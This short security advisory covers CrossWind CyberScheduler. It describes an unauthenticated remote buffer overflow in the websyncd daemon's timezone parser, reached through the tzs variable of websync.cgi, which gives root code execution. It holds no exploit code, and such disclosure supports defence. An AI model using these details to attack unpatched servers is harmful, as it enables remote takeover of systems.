CrossWind CyberScheduler is a scheduling and calendaring package. It consists of two distinct parts for - a set of cgi scripts on a web server and a set of daemons (or services) on a database server. Both parts are available for Windows NT, Linux and a range of UNIX platforms including Solaris.

One of the CyberScheduler daemons 'websyncd' (websyncd.exe on Windows NT) contains an exploitable buffer overflow in its timezone string parser. A timezone string is passed to websyncd by the websync.cgi cgi program (websync.exe on NT) through the tzs form variable.

Because websyncd runs as root, a stack overflow allows arbitrary code execution as root. The overflow occurs before any logon credentials are verified by websync.cgi, so unprivileged remote users can exploit this vulnerability.

  TimeZONE buffer overflow on cgi script rendering complete control of
the stack.
